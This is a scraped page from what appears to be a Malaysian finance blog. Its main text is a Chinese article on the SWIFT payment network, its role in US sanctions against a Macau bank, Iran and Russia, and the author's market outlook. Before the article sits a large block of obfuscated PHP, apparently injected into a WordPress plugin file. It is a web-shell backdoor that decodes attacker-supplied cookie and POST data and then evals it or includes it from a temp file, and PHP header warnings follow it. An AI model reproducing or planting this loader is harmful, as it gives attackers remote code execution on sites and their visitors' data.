$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
Warning: session_start(): Cannot start session when headers already sent in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 31

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 46

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 47

Warning: Cannot modify header information - headers already sent by (output started at /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/subplugins/breakdance-elements/elements/ProductBuilder/01677ed1.php:1) in /opt/bitnami/apps/wordpress/htdocs_uat/wp-content/plugins/breakdance/plugin/sessions/track-view-and-session-counts.php on line 48
美国的金融核武器 SWIFT到底有多大的威力? - Sharix

美国的金融核武器 SWIFT到底有多大的威力?

什么是SWIFT系统

第二次世界大战后,全球化逐步发展起来,各个国家银行之间的贸易结算汇款越来越频繁。当时,各国银行使用Telex (Teleprinter exchange) 进行跨境信息传递与汇款。然而,随着日益增长的国际电汇需求,该旧系统渐渐跟不上时代发展的步伐。为了让信息传递更为效率及安全,美国、加拿大和欧洲15个国家,共239家银行于1973年5月正式宣布成立环球银行金融电信协会,英文全名为Society for Worldwide Interbank Financial Telecommunication (SWIFT)。SWIFT主要是透过金融网络,连接全球银行的金融通信基础设施建设,一般涉及的都是大型企业及国家的大额跨境汇款。

SWIFT是一家非盈利机构,总部设在布鲁塞尔,也有两个信息交换中心,分别位于荷兰阿姆斯特丹及美国纽约。截至目前,该服务范围已遍及全球207个国家和地区,共有超过1.1万家金融机构使用SWIFT,每日结算额可达到五万亿到六万亿美元。SWIFT已成为国际支付标准,并贯穿了全球金融体系的神经系统,在国际贸易和商业活动中的作用可说是举足轻重。

SWIFT为何被称之为美国的金融核武器?

SWIFT作为一个非盈利机构服务全球金融机构,到底是如何成为美国制裁他国的工具呢?

原因有两个:

  1. SWIFT在美国纽约有数据中心
  2. SWIFT系统中40%的交易都采用美元结算

回顾历史,美国曾在2003年通过SWIFT的交易记录发现到澳门一家不起眼的小银行——汇业银行,正在替朝鲜洗钱。所有交易都被SWIFT系统记录得一清二楚。该银行也随即被美国列入SWIFT的黑名单。汇业银行当天的存款就被取走了整整3亿 人民币,占该银行总存款的十分之一。同时,与汇业银行有业务关系的银行都不敢冒着被美国制裁的风险,纷纷宣布停止合作。

除此之外,伊朗金融机构也曾两度被SWIFT除名。伊朗的50多家银行在2018年被禁用SWIFT系统,因此无法正常运行进出口的贸易活动,导致伊朗GDP增长率一度从2017年的3.8% 退步至2018年的 -6%。该国货币利亚尔也暴跌至制裁前的六分之一,导致国内发生恶性通胀。

即将被踢出Swift的俄罗斯会面临什么难题?

乌俄战争事件紧张局势可以说是一发不可收拾,美国等西方国家已在2月26日将部分俄罗斯银行排除在SWIFT支付系统之外,制裁目标是10家俄罗斯最大的金融机构。俄罗斯银行被禁止使用SWIFT支付系统意味着俄罗斯将从国际清算体系中被排除,许多国际贸易将无法进行支付清算,包括收取出口石油和天然气的所得的利润。这项新措施将严重消弱俄国与世界大多数国家贸易的能力,引发货币波动以及造成大量资金外流。另外,由于俄罗斯是世界上第三大石油的生产国(占全球石油产量的10%以上),因此石油供应的中断将导致能源价格飙升。

最后,笔者认为乌俄战争对全球经济的影响是有限的,因为俄罗斯仅占全球GDP的1.8% ,相对于美国的24.7% 以及中国的17.4%,俄罗斯占比显得渺小。市场目前面临的主要风险还是来自能源价格的飙升和暂时的通胀冲击。参考过去的历史,战争相关危机确实会影响股票市场短期的情绪,但是相信市场会很快适应战争所带来的负面消息。因此,长期投资者可以不用过多关注乌俄的战争危机。

最新文章

Sharix Sdn Bhd (1313184-A)
@ 2023 Sharix Sdn Bhd. All Rights Reserved
官方社交平台